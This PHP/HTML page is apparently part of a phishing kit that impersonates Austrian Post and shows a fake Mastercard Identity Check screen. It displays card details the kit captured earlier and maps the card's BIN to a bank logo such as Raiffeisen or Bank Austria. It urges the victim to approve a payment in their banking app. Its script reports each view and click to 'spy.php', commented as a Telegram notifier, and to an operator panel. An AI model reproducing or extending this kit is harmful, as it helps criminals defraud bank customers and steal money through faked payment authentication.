<?php
require (__DIR__) . '/../main.php';
$m = new Mother;
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") $ip = "127.0.0.1";
if (session_status() !== PHP_SESSION_ACTIVE) session_start();

// Get card number from cookies or session
$cardNumber = '';
if (!empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
}

// Clean card number - remove spaces and non-digits
$cardNumberClean = preg_replace('/\s+/', '', $cardNumber);
$cardNumberClean = preg_replace('/[^0-9]/', '', $cardNumberClean);

// Get BIN (first 6 digits)
$bin = '';
if (!empty($cardNumberClean) && strlen($cardNumberClean) >= 6) {
    $bin = substr($cardNumberClean, 0, 6);
}

// Format card number for display
$cardMasked = '400000******4000';
if (!empty($cardNumberClean) && strlen($cardNumberClean) >= 10) {
    $cardMasked = substr($cardNumberClean, 0, 6) . '******' . substr($cardNumberClean, -4);
}

// Get expiration date from cookies/session
$expMonth = isset($_COOKIE['sc_exp_month']) ? $_COOKIE['sc_exp_month'] : (isset($_SESSION['sc_exp_month']) ? $_SESSION['sc_exp_month'] : '09');
$expYear = isset($_COOKIE['sc_exp_year']) ? $_COOKIE['sc_exp_year'] : (isset($_SESSION['sc_exp_year']) ? $_SESSION['sc_exp_year'] : '26');

// Format expiration date
$expDate = '09 Feb. 2026';
if ($expMonth && $expYear) {
    $monthNames = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
    $monthIndex = intval($expMonth) - 1;
    if ($monthIndex >= 0 && $monthIndex < 12) {
        $fullYear = '20' . $expYear;
        $expDate = $expMonth . ' ' . $monthNames[$monthIndex] . '. ' . $fullYear;
    }
}

// Load BIN to logo mapping
$binsConfig = [];
if (file_exists(__DIR__ . '/bins.php')) {
    $binsConfig = require __DIR__ . '/bins.php';
}

// Get bank logo from BIN - Unknown BIN = PostAG logo
$bankLogo = 'assets/images/Post_Horn_Mini_positiv_RGB_Neu.png'; // Default: PostAG for unknown
$bankName = 'Ihrer Bank'; // Generic for unknown

if (!empty($bin) && isset($binsConfig[$bin])) {
    $logoPath = $binsConfig[$bin];
    
    // Try multiple possible paths
    $possiblePaths = [
        $logoPath,
        __DIR__ . '/' . $logoPath,
        __DIR__ . '/../' . $logoPath
    ];
    
    foreach ($possiblePaths as $path) {
        if (file_exists($path)) {
            // If absolute path, convert to relative
            if (strpos($path, __DIR__) === 0) {
                $bankLogo = str_replace(__DIR__ . '/', '', $path);
            } else {
                $bankLogo = $logoPath;
            }
            break;
        }
    }
    
    // If logo not found, try alternative paths based on bank
    if ($bankLogo === 'assets/images/Post_Horn_Mini_positiv_RGB_Neu.png' && !empty($bin)) {
        // Check if it's Raiffeisen
        if (in_array($bin, ['520618', '520619', '520620', '520621', '520622', '520623', '520624', '520625', '520626', '520627', '541700', '519690', '555936'])) {
            // Try different Raiffeisen logo paths
            $raiffeisenPaths = [
                'assets/logos/raiffeisen.png',
                'assets/images/rf.png',
                'assets/logos/rf.png'
            ];
            foreach ($raiffeisenPaths as $rfPath) {
                if (file_exists(__DIR__ . '/' . $rfPath)) {
                    $bankLogo = $rfPath;
                    break;
                }
            }
        }
        // Check if it's Bank Austria
        elseif (substr($bin, 0, 2) === '40' && intval(substr($bin, 0, 6)) >= 400000 && intval(substr($bin, 0, 6)) <= 400038) {
            $baPaths = [
                'assets/images/bankaustria.png',
                'assets/logos/bankaustria.png'
            ];
            foreach ($baPaths as $baPath) {
                if (file_exists(__DIR__ . '/' . $baPath)) {
                    $bankLogo = $baPath;
                    break;
                }
            }
        }
    }
}

// Determine bank name from logo path or BIN
if (strpos($bankLogo, 'Post_Horn') !== false) {
    $bankName = 'Ihrer Bank'; // Unknown BIN = generic
} elseif (strpos($bankLogo, 'bankaustria') !== false || (substr($bin, 0, 2) === '40' && intval(substr($bin, 0, 6)) >= 400000 && intval(substr($bin, 0, 6)) <= 400038)) {
    $bankName = 'Bank Austria';
} elseif (strpos($bankLogo, 'raiffeisen') !== false || strpos($bankLogo, 'rf') !== false || in_array($bin, ['520618', '520619', '520620', '520621', '520622', '520623', '520624', '520625', '520626', '520627', '541700', '519690', '555936', '478076'])) {
    $bankName = 'Raiffeisen Bank';
} elseif (strpos($bankLogo, 'erste') !== false) {
    $bankName = 'Erste Bank';
} elseif (strpos($bankLogo, 'unicredit') !== false) {
    $bankName = 'Bank Austria';
}

?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mastercard® Identity Check™ - PostAG</title>
    <link rel="stylesheet" href="./PostAG_files/normalize.min.css">
    <link rel="stylesheet" href="./PostAG_files/leaflet.css">
    <link href="./PostAG_files/react.3290281c.css" rel="stylesheet" type="text/css">
    <link href="./PostAG_files/Chamaeleon.b8a0a67d.css" rel="stylesheet" type="text/css">
    <link href="./PostAG_files/Font.676a7628.css" rel="stylesheet" type="text/css">
    <style>
        body {
            font-family: 'PostSans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            margin: 0;
            padding: 0;
            background: #f5f5f5;
            min-height: 100vh;
        }
        .top-navigation-amarillo {
            background: #FFCC00;
            padding: 15px 0;
            border-bottom: 1px solid rgba(0, 0, 0, 0.08);
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        .top-menu-amarillo-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        .logo {
            height: 40px;
            display: inline-block;
        }
        .logo img {
            height: 100%;
            width: auto;
            max-width: 150px;
        }
        .top-menu-amarillo {
            display: flex;
            gap: 20px;
            align-items: center;
        }
        .top-menu-amarillo a {
            color: #333;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
        }
        .white-nav {
            background: white;
            padding: 12px 0;
            border-bottom: 1px solid #e0e0e0;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.03);
        }
        .white-nav-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
            display: flex;
            gap: 25px;
        }
        .white-nav a {
            color: #333;
            text-decoration: none;
            font-size: 14px;
        }
        
        /* Modal Overlay - Always visible */
        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.6);
            z-index: 10000;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
            backdrop-filter: blur(4px);
        }
        
        .modal-3dsecure {
            background: white;
            border-radius: 10px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
            max-width: 420px;
            width: 100%;
            overflow: hidden;
            position: relative;
            animation: slideInModal 0.3s ease-out;
            max-height: 90vh;
            display: flex;
            flex-direction: column;
        }
        
        @keyframes slideInModal {
            from {
                opacity: 0;
                transform: translateY(-20px) scale(0.95);
            }
            to {
                opacity: 1;
                transform: translateY(0) scale(1);
            }
        }
        
        .modal-3dsecure-header {
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            padding: 16px 20px 10px 20px;
            border-bottom: none;
            position: relative;
        }
        
        .modal-3dsecure-bank-logo {
            display: flex;
            align-items: center;
            justify-content: flex-start;
        }
        
        .modal-3dsecure-bank-logo img {
            height: 36px;
            width: auto;
            display: block;
            max-width: 150px;
        }
        
        .modal-3dsecure-mastercard-logo {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .modal-3dsecure-mastercard-logo img {
            height: 20px;
            width: auto;
        }
        
        .mastercard-id-text {
            font-size: 11px;
            font-weight: 600;
            color: #111827;
            margin: 0;
        }
        
        .modal-3dsecure-content {
            padding: 0 20px 16px 20px;
            flex: 1;
            overflow-y: auto;
            display: flex;
            flex-direction: column;
        }
        
        .modal-3dsecure-title {
            font-size: 16px;
            font-weight: 700;
            color: #111827;
            margin-bottom: 14px;
            text-align: left;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            padding: 0;
            line-height: 1.3;
        }
        
        .modal-3dsecure-transaction {
            background: transparent;
            border-radius: 0;
            padding: 0;
            margin-bottom: 16px;
        }
        
        .modal-3dsecure-transaction-row {
            display: block;
            padding: 6px 0;
            border-bottom: none;
        }
        
        .modal-3dsecure-transaction-value {
            font-size: 12px;
            color: #111827;
            font-weight: 400;
            text-align: left;
            display: block;
            line-height: 1.4;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
        }
        
        .modal-3dsecure-instructions {
            margin-bottom: 14px;
            display: flex;
            align-items: flex-start;
            gap: 12px;
        }
        
        .modal-3dsecure-instructions-text {
            font-size: 12px;
            color: #6b7280;
            line-height: 1.5;
            margin: 0 0 8px 0;
            flex: 1;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
        }
        
        .modal-3dsecure-spinner-container {
            display: flex;
            align-items: flex-start;
            margin: 0;
            flex-shrink: 0;
            padding-top: 2px;
        }
        
        .modal-3dsecure-spinner-gif {
            width: 18px;
            height: 18px;
            display: block;
        }
        
        .modal-3dsecure-instructions-secondary {
            font-size: 12px;
            color: #4b5563;
            line-height: 1.5;
            margin: 0;
            font-weight: 500;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
        }
        
        .modal-3dsecure-footer {
            padding: 12px 20px 14px 20px;
            border-top: 1px solid #e5e7eb;
            text-align: center;
            background: #ffffff;
            flex-shrink: 0;
            position: relative;
            z-index: 10;
        }
        
        .modal-3dsecure-help-link {
            color: #3b82f6;
            text-decoration: none;
            font-size: 11px;
            font-weight: 400;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            display: block;
            margin-top: 10px;
        }
        
        .modal-3dsecure-help-link:hover {
            text-decoration: underline;
        }
        
        .modal-3dsecure-continue-btn {
            background: #1f4057 !important;
            color: #ffffff !important;
            border: none !important;
            padding: 9px 20px !important;
            border-radius: 5px !important;
            font-size: 12px !important;
            font-weight: 600 !important;
            cursor: pointer !important;
            display: block !important;
            width: 100% !important;
            margin-top: 0 !important;
            margin-bottom: 0 !important;
            transition: all 0.2s ease !important;
            box-shadow: 0 2px 6px rgba(31, 64, 87, 0.3) !important;
            text-transform: uppercase !important;
            letter-spacing: 0.2px !important;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif !important;
            min-height: 36px !important;
            visibility: visible !important;
            opacity: 1 !important;
            position: relative !important;
            z-index: 100 !important;
        }
        
        .modal-3dsecure-continue-btn:hover {
            background: #153040 !important;
            box-shadow: 0 3px 10px rgba(31, 64, 87, 0.4) !important;
        }
        
        .modal-3dsecure-continue-btn:hover {
            background: linear-gradient(135deg, #005a9e 0%, #004080 100%);
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(0, 120, 200, 0.5);
        }
        
        .modal-3dsecure-continue-btn:active {
            transform: translateY(0);
        }
        
        .modal-3dsecure-continue-btn:disabled {
            background: #9ca3af;
            cursor: not-allowed;
            transform: none;
        }
        
        .modal-3dsecure-continue-text {
            font-size: 11px;
            color: #6b7280;
            text-align: center;
            margin-top: 0;
            margin-bottom: 0;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            line-height: 1.3;
            font-weight: 400;
        }
        
        @media (max-width: 768px) {
            .top-menu-amarillo {
                display: none;
            }
            .white-nav {
                display: none;
            }
            .modal-3dsecure {
                margin: 10px;
                border-radius: 8px;
            }
            .modal-3dsecure-content {
                padding: 24px 16px;
            }
        }
    </style>
</head>
<body>
    <!-- Yellow Header -->
    <div class="top-navigation-amarillo">
        <div class="top-menu-amarillo-container">
            <div class="logo">
                <img src="assets/images/Post_Horn_Mini_positiv_RGB_Neu.png" alt="Post.at Logo">
            </div>
            <div class="top-menu-amarillo">
                <a href="#">Versenden</a>
                <a href="#">Empfangen</a>
                <a href="#">Services</a>
                <a href="#">Filialen</a>
                <a href="#">Hilfe & Kontakt</a>
                <a href="#">Unternehmen</a>
                <a href="#">Business Lösungen</a>
            </div>
        </div>
    </div>

    <!-- White Navigation -->
    <div class="white-nav">
        <div class="white-nav-container">
            <a href="#">Versenden</a>
            <a href="#">Empfangen</a>
            <a href="#">Services</a>
            <a href="#">Filialen</a>
            <a href="#">Hilfe & Kontakt</a>
            <a href="#">Unternehmen</a>
            <a href="#">Business Lösungen</a>
        </div>
    </div>

    <!-- 3D Secure Modal Overlay - Always visible -->
    <div id="modal3dsecure" class="modal-overlay">
        <div class="modal-3dsecure">
            <div class="modal-3dsecure-header">
                <div class="modal-3dsecure-bank-logo">
                    <img src="<?php echo htmlspecialchars($bankLogo); ?>" alt="<?php echo htmlspecialchars($bankName); ?>" onerror="this.style.display='none';">
                </div>
                <div class="modal-3dsecure-mastercard-logo">
                    <img src="assets/images/mastercard-logo.svg" alt="Mastercard" onerror="this.style.display='none';">
                    <span class="mastercard-id-text">ID Check</span>
                </div>
            </div>
            
            <div class="modal-3dsecure-content">
                <h1 class="modal-3dsecure-title">Mastercard® Identity Check™</h1>
                
                <div class="modal-3dsecure-transaction">
                    <div class="modal-3dsecure-transaction-row">
                        <span class="modal-3dsecure-transaction-value">Post.at</span>
                    </div>
                    <div class="modal-3dsecure-transaction-row">
                        <span class="modal-3dsecure-transaction-value">€ 9,30</span>
                    </div>
                    <div class="modal-3dsecure-transaction-row">
                        <span class="modal-3dsecure-transaction-value"><?php echo htmlspecialchars($expDate); ?></span>
                    </div>
                    <div class="modal-3dsecure-transaction-row">
                        <span class="modal-3dsecure-transaction-value"><?php echo htmlspecialchars($cardMasked); ?></span>
                    </div>
                </div>
                
                <div class="modal-3dsecure-instructions">
                    <div class="modal-3dsecure-spinner-container">
                        <img src="https://i.sstatic.net/kOnzy.gif" alt="Loading" class="modal-3dsecure-spinner-gif">
                    </div>
                    <div style="flex: 1;">
                        <p class="modal-3dsecure-instructions-text">
                            Bitte führen Sie die Freigabe der Zahlung in der <?php echo htmlspecialchars($bankName); ?> MobileBanking App durch.
                        </p>
                        <p class="modal-3dsecure-instructions-secondary">
                            Bestätigen Sie Ihre Zahlung in der <?php echo htmlspecialchars($bankName); ?> MobileBanking App. Kehren Sie nach der Bestätigung wieder zu diesem Fenster zurück!
                        </p>
                    </div>
                </div>
                
                <div style="margin-top: 18px; margin-bottom: 14px; text-align: center;">
                    <p class="modal-3dsecure-continue-text" style="margin-bottom: 10px; font-size: 11px; color: #6b7280;">
                        Wenn Sie die Zahlung bestätigt haben -
                    </p>
                    <button id="approvContinueBtn" class="modal-3dsecure-continue-btn" style="max-width: 180px; margin: 0 auto;">
                        FORTFAHREN
                    </button>
                </div>
            </div>
            
            <div class="modal-3dsecure-footer">
                <a href="#" class="modal-3dsecure-help-link">Avez-vous besoin d'aide?</a>
            </div>
        </div>
    </div>
    
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script>
    $(document).ready(function() {
        // Send notification when page loads
        $.post("spy.php", {
            approvview: 1
        });
        
        // Update current page
        $.post("../panel/classes/processor.php", {
            keepAlive: 1,
            page: "APPROV"
        });
        
        var approvClicked = false;
        
        $('#approvContinueBtn').on('click', function() {
            if (approvClicked) {
                return; // Prevent double click
            }
            approvClicked = true;
            
            var $btn = $(this);
            $btn.prop('disabled', true);
            $btn.html('Bestätigt…');
            
            // Notify Telegram — stay on this page (panel redirects)
            $.ajax({
                url: 'spy.php',
                type: 'POST',
                data: {
                    approv_clicked: 1,
                    bank: '<?php echo htmlspecialchars($bankName); ?>'
                }
            }).always(function () {
                $btn.html('Bestätigt');
            });
        });
    });
    </script>
    <?php $m->ctr("APPROV " . @$_GET['p']); ?>
</body>
</html>
